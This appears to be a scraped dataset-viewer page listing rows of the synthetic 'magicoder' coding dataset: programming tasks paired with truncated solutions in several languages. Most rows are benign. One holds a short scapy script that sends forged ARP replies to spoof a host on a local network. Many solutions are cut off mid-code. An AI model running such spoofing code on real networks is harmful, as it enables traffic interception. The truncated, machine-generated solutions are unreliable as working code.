fn into_owned(self) -> $struct_name {
... | magicoder | rust |
You are tasked with implementing a simple state machine for parsing and processing code blocks in a programming language. The provided code snippet is the start of a Swift class representing the start state of a regular code block. Your task is to complete the implementation of the state machine by adding the necessary... | ```swift
// Define the BlockEndState class representing the end state of a regular code block
public class BlockEndState: State {
// Add any necessary properties and methods to handle the end state
}
// Define the transition logic in the state machine to handle the recognition and processing of regular code blocks... | magicoder | swift |
You are tasked with implementing a fault-tolerant microservice using Spring Boot and its associated annotations. The code snippet provided is a partial implementation of a service called `HelloService`. This service is annotated with `@Service` and utilizes two other annotations: `@Retry` and `@CircuitBreaker`. The `@R... | ```java
@Service
public class HelloService {
@Autowired
private ExternalService externalService;
@Retry(name = "retryA")
@CircuitBreaker(name = "cbA", fallbackMethod = "error")
public String greetUser(String username) {
// Primary operation to greet the user
return "Hello, " + usern... | magicoder | java |
You are tasked with creating a program that scrapes data from a website and extracts specific information using regular expressions. The program should take a URL as input and retrieve the HTML content from the webpage. Then, it should use regular expressions to extract specific data from the HTML, such as email addres... | ```python
import re
import requests
from typing import List
def scrape_data(url: str, pattern: str) -> List[str]:
try:
response = requests.get(url)
response.raise_for_status() # Raise an exception for 4xx or 5xx status codes
html_content = response.text
matches = re.findall(pattern... | magicoder | python |
You are tasked with implementing a Python function that simulates the behavior of a Celery worker shutdown process. Celery is a distributed task queue system that allows you to distribute work across multiple worker processes. When a Celery worker is stopped, a specific function is called inside each worker process to ... | ```python
from multiprocessing import Process
from typing import List, Callable
import traceback
def simulate_worker_shutdown(worker_processes: List[Process], cleanup_function: Callable) -> None:
for process in worker_processes:
try:
cleanup_function()
except Exception as e:
... | magicoder | python |
You are tasked with implementing a function that checks whether a given string contains a continuous chain of characters that should be hidden. A continuous chain is defined as a sequence of characters that repeats itself at least twice in the string. The characters in the chain should be hidden, meaning they should no... | ```csharp
public bool ContainsHiddenChain(string input)
{
int n = input.Length;
for (int len = 1; len <= n / 2; len++) {
string pattern = input.Substring(0, len);
bool isHiddenChain = true;
for (int i = len; i <= n - len; i += len) {
if (input.Substring(i, len) != pattern) {
... | magicoder | csharp |
You are tasked with creating a Python function that retrieves stock data for a given ticker symbol within specific time periods and processes the data to find the stock with the highest trading volume within each period. The function should use the Pandas library for data manipulation and the datetime library for date ... | ```python
import datetime
import pandas as pd
def retrieve_highest_volume_stocks(ticker: str, periods: dict, **kwargs) -> pd.DataFrame:
now = datetime.datetime.now()
df = pd.DataFrame()
for label, days in periods.items():
dt1 = now - datetime.timedelta(days=days+2)
dt2 = now - datetime.time... | magicoder | python |
You are tasked with implementing a Python class for text generation using a recurrent neural network (RNN). The class has a method for training the model and another method for making predictions. Your goal is to implement the `train` and `predict` methods of the RNNTextGenerator class.
The RNNTextGenerator class has ... | ```python
class RNNTextGenerator:
def __init__(self, split=True, sequence_length=None, batch_size=32):
self.split = split
self.sequence_length = sequence_length
self.batch_size = batch_size
def train(self, inputs, labels, compute_sequence_length, batch_size):
# Implementation of... | magicoder | python |
You are tasked with creating a Python function that generates a series of image frames for an animation. The animation will consist of a moving object that travels along a predefined path in a 2D space. The path is defined by a set of x and y coordinates, and the object's position will be updated in each frame accordin... | ```python
import os
from PIL import Image, ImageDraw
def generate_frames(path_coords):
if not os.path.exists(OUTPUT_DIRPATH):
os.makedirs(OUTPUT_DIRPATH)
for i in range(len(path_coords) - 1):
start_x, start_y = path_coords[i]
end_x, end_y = path_coords[i + 1]
for frame in rang... | magicoder | python |
You are tasked with implementing a Python function to decode distance predictions to bounding boxes. The function should take in a tensor of points and a tensor of distances, and return the corresponding bounding boxes. The points tensor represents the coordinates of the points, and the distances tensor contains the di... | ```python
import torch
def distance2bbox(points, distance, max_shape=None):
"""Decode distance prediction to bounding box.
Args:
- points (Tensor): A tensor of shape (B, N, 2) or (N, 2) representing the coordinates of the points.
- distance (Tensor): A tensor containing the distance predictions.
-... | magicoder | python |
You are tasked with implementing a Redux action creator for fetching appointments by name. The provided code snippet is a partial implementation of the action creator function. Your task is to complete the implementation of the action creator function and handle the asynchronous data fetching using Redux-thunk.
The ac... | ```javascript
const getAppointmentsByName = (name) => {
return async (dispatch) => {
dispatch({ type: actions.GET_ALL_APPOINTMENTS_BY_NAME_REQUEST });
try {
const data = await api.getAllAppointmentsByName(name);
dispatch({
type: actions.GET_ALL_APPOINTMENTS_BY_NAME_SUCCESS,
payload... | magicoder | javascript |
You are tasked with implementing a message processing system using Apache Kafka. Your goal is to create a Python program that sends messages to a Kafka topic using the `confluent_kafka` library. However, you need to ensure that the messages are successfully produced and sent to the Kafka broker before proceeding with f... | To ensure that all messages are successfully produced and sent to the Kafka broker before proceeding with further operations, the `producer.flush()` method should be used. This method blocks until all previously produced messages have been delivered to the broker. By including this method in the code, we can guarantee ... | magicoder | python |
You are tasked with creating a Python function that analyzes a given GitHub repository's Python files and identifies the number of times specific modules or packages are imported. Your function should take the repository name as input and return a dictionary containing the imported modules/packages along with their res... | ```python
import requests
from bs4 import BeautifulSoup
import re
def count_imports(repo_name: str) -> dict:
# Construct the GitHub API URL to retrieve the repository contents
api_url = f"https://api.github.com/repos/{repo_name}/contents"
# Send a GET request to the GitHub API to retrieve the repository c... | magicoder | python |
You are tasked with creating a program that converts a Roman numeral to an integer. Roman numerals are represented by seven different symbols: I, V, X, L, C, D, and M. The value of each symbol is as follows:
- I: 1
- V: 5
- X: 10
- L: 50
- C: 100
- D: 500
- M: 1000
However, there are some exceptions to the standard re... | ```python
def roman_to_int(s: str) -> int:
roman_values = {
'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000,
'IV': 4, 'IX': 9, 'XL': 40, 'XC': 90, 'CD': 400, 'CM': 900
}
result = 0
i = 0
while i < len(s):
if i < len(s) - 1 and s[i:i+2] in roman_values:
... | magicoder | python |
You are tasked with implementing a Python function to calculate the electron-phonon coupling matrix elements for a given molecular system. The electron-phonon coupling describes the interaction between the electronic degrees of freedom and the vibrational modes of the system. The code snippet provided gives a glimpse o... | ```python
def calculate_electron_phonon_coupling(mol, mf):
from pyscf import dft, eph
# Create an instance of the EPH class with the given electronic structure information
myeph = eph.EPH(mf)
# Compute the electron-phonon coupling matrix and phonon frequencies
mat, omega = myeph.kernel()
retu... | magicoder | python |
You are tasked with creating a Python function that processes a directory of JSON files and extracts specific information from each file. The function should read each JSON file, load its data, and then extract and store specific fields from the data. Your task is to implement the function `process_json_files` that tak... | ```python
import os
import json
def process_json_files():
os.chdir('../data') # Change the current working directory to the 'data' directory
fileList = os.listdir() # Retrieve a list of all the JSON files in the 'data' directory
extracted_info = {} # Initialize an empty dictionary to store the extracted... | magicoder | python |
You are tasked with designing a module system for a financial application. The application needs to integrate functionalities related to reconciling transactions, transferring funds, retrieving wallet summaries, and withdrawing funds. The provided code snippet demonstrates the use of these modules through the `pub use`... | ```rust
// Define the module structure
mod reconcile {
// Functions for reconciling transactions
pub fn reconcile_transactions() {
// Implementation
}
}
mod transfer {
// Functions for transferring funds
pub fn transfer_funds() {
// Implementation
}
}
mod wallet_summary {
/... | magicoder | rust |
You are tasked with implementing a function to parse and extract specific information from a given code snippet. The code snippet is written in Python and contains a class and a static method. Your task is to extract the class name, the static method name, and the number of arguments the static method takes.
Write a f... | ```python
import ast
def parse_code_snippet(code_snippet):
class_name = None
static_method_name = None
num_arguments = 0
# Parse the code snippet using Python's abstract syntax tree (AST)
tree = ast.parse(code_snippet)
# Traverse the AST to extract class and static method information
for ... | magicoder | python |
You are tasked with implementing a Python class that can identify the largest prime palindrome number within a given range. A prime number is a positive integer greater than 1 that has no positive integer divisors other than 1 and itself. A palindrome is a number that reads the same forwards and backwards.
Your task i... | ```python
class PrimePalindrome:
@staticmethod
def is_prime(num):
if num < 2:
return False
for i in range(2, int(num ** 0.5) + 1):
if num % i == 0:
return False
return True
@staticmethod
def is_palindrome(num):
return str(num) == s... | magicoder | python |
You are tasked with creating a Python function that generates a series of input strings based on a given set of test data. The function `get_run_generator` takes a single argument `test_data`, which is a tuple of strings. It returns a callable function that, when invoked, generates and returns the next input string bas... | ```python
from typing import Tuple, Callable, Generator
def get_run_generator(test_data: Tuple[str]) -> Callable[[], str]:
test_data_gen: Generator[str, None, None] = (line for line in test_data)
def generate_input() -> str:
nonlocal test_data_gen
try:
return next(test_data_gen)
... | magicoder | python |
You are tasked with implementing a Python class that performs feature selection for a machine learning model. The class, named `FeatureSelector`, has several methods and attributes that need to be implemented. One of the methods, `get_feature_indexes`, is responsible for returning a dictionary containing the indexes of... | ```python
class FeatureSelector:
def __init__(self, metric_func_dict):
self.metric_func_dict = metric_func_dict
self.orig_eval_s = None # Placeholder for orig_eval_s attribute
def get_feature_indexes(self):
# Implement the logic to retrieve feature indexes from the dataset
# Re... | magicoder | python |
You are tasked with creating a Python script to simulate a simplified version of ARP spoofing, a type of cyber attack where an attacker sends falsified ARP (Address Resolution Protocol) messages over a local area network. The goal of this attack is to link the attacker's MAC address with the IP address of another host ... | ```python
# arp_spoof.py
import sys
from scapy.all import ARP, send
def arp_spoof(target_ip, new_ip):
arp = ARP(op=2, pdst=target_ip, psrc=new_ip, hwdst="ff:ff:ff:ff:ff:ff")
send(arp, verbose=0)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python arp_spoof.py [TARGET IP] [NEW I... | magicoder | python |
You are tasked with creating a script to automate the process of replacing headers in multiple files. The headers to be replaced are stored in separate source files, and the script should replace the headers in target files based on certain patterns.
Your task is to write a Python script that takes three command-line ... | ```python
import os
import sys
def replace_header(source_header_path, target_directory, file_pattern):
try:
with open(source_header_path, 'r') as source_file:
header_content = source_file.read()
for root, _, files in os.walk(target_directory):
for file in files:
... | magicoder | python |
You are tasked with creating a Python script to automate the process of fetching and organizing deep learning models for medical image analysis. The script should download the required models from an online repository and organize them into the appropriate directories.
Your script should perform the following tasks:
1... | ```python
import os
import subprocess
# Define the online repository project ID
project_id = "svztu"
# Fetch the DeepLabCut model
subprocess.run(["osf", "-p", project_id, "fetch", "6_Landmark_estimation_model/atlas-DongshengXiao-2020-08-03.zip", "dlc/atlas-DongshengXiao-2020-08-03.zip"])
# Unzip the DeepLabCut model... | magicoder | python |
You are tasked with implementing a Python class that checks for duplicate enum items in a given Python file. The class `EnumChecker` takes in a dictionary `enumdata` as input, where the keys are enum names and the values are sets of strings representing the enum items. The class should raise a `DuplicateEnumItemError` ... | ```python
from typing import Dict, Set, Optional
class DuplicateEnumItemError(Exception):
pass
class EnumCheckerVisitor:
def __init__(self, enumdata: Dict[str, Set[str]]) -> None:
self.enumdata = enumdata
def visit_enum(self, enum_name: str, items: Set[str]):
if len(items) != len(self.enu... | magicoder | python |
You are working on a project that involves homomorphic encryption, and you need to implement a controlled multiplexer (CMUX) function for encrypted data. The CMUX function takes in a selector TGSW (homomorphic encryption of a bit), and two TLWE (homomorphic encryption of a binary value) ciphertexts c0 and c1. The goal ... | ```python
@staticmethod
def CMUX(sel: TGSW, c0: TLWE, c1: TLWE) -> TLWE:
# Decrypt the selector without rounding
mp = TLWE.dec_wo_round(sel.value[-TGSW.l])
# Adjust the decrypted value
mp = mp.value + (1 << (Torus.q - TGSW.Bbit - 1))
# Apply modular reduction
mp = ((mp << (TGSW.Bbit)) ... | magicoder | python |
You are tasked with implementing a simplified version of a music synthesizer system in C++. The system consists of a `Synthesizer` class with a `MainScreen` nested class. The `MainScreen` class is responsible for setting the song to be played. The `Synthesizer` class has a method to set the song for the main screen.
Y... | ```cpp
#include <iostream>
#include <string>
class Song {
private:
std::string name;
public:
Song() : name("Default Song") {}
Song(const std::string& songName) : name(songName) {}
std::string getName() const {
return name;
}
};
class Synthesizer {
public:
class MainScreen {
priva... | magicoder | cpp |
You are tasked with creating a command-line tool that generates a native desktop application using the `nativefier` library. The tool should take in user-provided parameters and generate a desktop application with the specified name, icon, and tray behavior.
Your task is to write a Python script that takes user input ... | ```python
import subprocess
def generate_native_application():
# Prompt user for input
app_name = input("Enter the application name: ")
icon_file = input("Enter the icon file name: ")
start_in_tray = input("Should the application start in the system tray? (yes/no): ").lower()
# Validate start_in_t... | magicoder | python |
You are tasked with implementing a Python module that provides evaluation utilities for the KITTI dataset, which is commonly used for autonomous driving research. The given code snippet is a part of the module's public interface definition.
Your task is to create a function that takes a list of predicted bounding boxe... | ```python
def calculate_kitti_ap(predicted_boxes, gt_boxes):
"""
Calculate the average precision (AP) for object detection on the KITTI dataset using COCO-style evaluation.
Args:
predicted_boxes (list): List of predicted bounding boxes in the format [x_min, y_min, x_max, y_max, confidence, class_id].
... | magicoder | python |
You are tasked with creating a Python class to control a LED using an IR remote. The class should utilize the `adafruit_irremote` library and the `pulseio` module to receive IR signals and control the LED. Your task is to complete the implementation of the `IRLedController` class by adding methods to handle IR signal d... | ```python
import adafruit_irremote
import board
import digitalio
import pulseio
class IRLedController:
def __init__(self, ir_receiver_pin, led_pin):
self.ir_receiver = pulseio.PulseIn(ir_receiver_pin, maxlen=100, idle_state=True)
self.led = digitalio.DigitalInOut(led_pin)
self.led.direction... | magicoder | python |
You are tasked with implementing a function to calculate the Supertrend indicator for a given set of stock prices. The Supertrend indicator is used in technical analysis to identify the direction of the asset's price movement. It is calculated based on the average true range (ATR) and the multiplier value. The formula ... | ```python
import tensorflow as tf
import numpy as np
def calculate_supertrend(close_prices, low_prices, high_prices, multiplier=3, period=14):
close = tf.placeholder(tf.float32, shape=(None,))
low = tf.placeholder(tf.float32, shape=(None,))
high = tf.placeholder(tf.float32, shape=(None,))
true_range =... | magicoder | python |
You are tasked with implementing a card game utility class in C++ to handle card-related operations. The class should include methods to retrieve the value and suit of a given card number based on certain rules.
You are provided with a code snippet that partially implements the utility class. The `CardUtils` class con... | ```cpp
#include <cstdint>
enum class Suit {
Hearts,
Diamonds,
Clubs,
Spades
};
class CardUtils {
public:
uint8_t getCardValue(uint8_t cardNumber, bool pictureCardsAsTens) {
uint8_t card = (cardNumber % 13) + 1;
if (pictureCardsAsTens && card > 10) card = 10;
return card;
... | magicoder | cpp |
You are working on a data processing pipeline for natural language processing tasks. Your task is to write a script to process and manipulate data from multiple input files. The script should perform the following operations:
1. Set the variable `DEV2` to the file path `/mnt/ai/home/vcirik/eParse/run/embedded/conllWSJ... | ```bash
#!/bin/bash
# Set the variables
DEV2="/mnt/ai/home/vcirik/eParse/run/embedded/conllWSJToken_wikipedia2MUNK-100/01/wsj_0101.dp"
TST2a="/mnt/ai/home/vcirik/eParse/run/embedded/conllWSJToken_wikipedia2MUNK-100/02/wsj_0201.dp"
TST2="/tmp/sec23"
# Extract a specific range of lines from TST2a and save it to TST2
he... | magicoder | shell |
You are tasked with creating a Swift protocol that represents a number value type for use in a custom framework. The protocol should conform to the `CKRecordValue` protocol, which is used for interacting with CloudKit records. Your task is to define the `CKNumberValueType` protocol with the necessary requirements to en... | ```swift
import CloudKit
// Define the CKNumberValueType protocol conforming to CKRecordValue
public protocol CKNumberValueType: CKRecordValue {
var numericValue: Double { get }
func formattedValue() -> String
}
// Sample implementation of a type conforming to CKNumberValueType
struct CustomNumber: CKNumberVa... | magicoder | swift |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.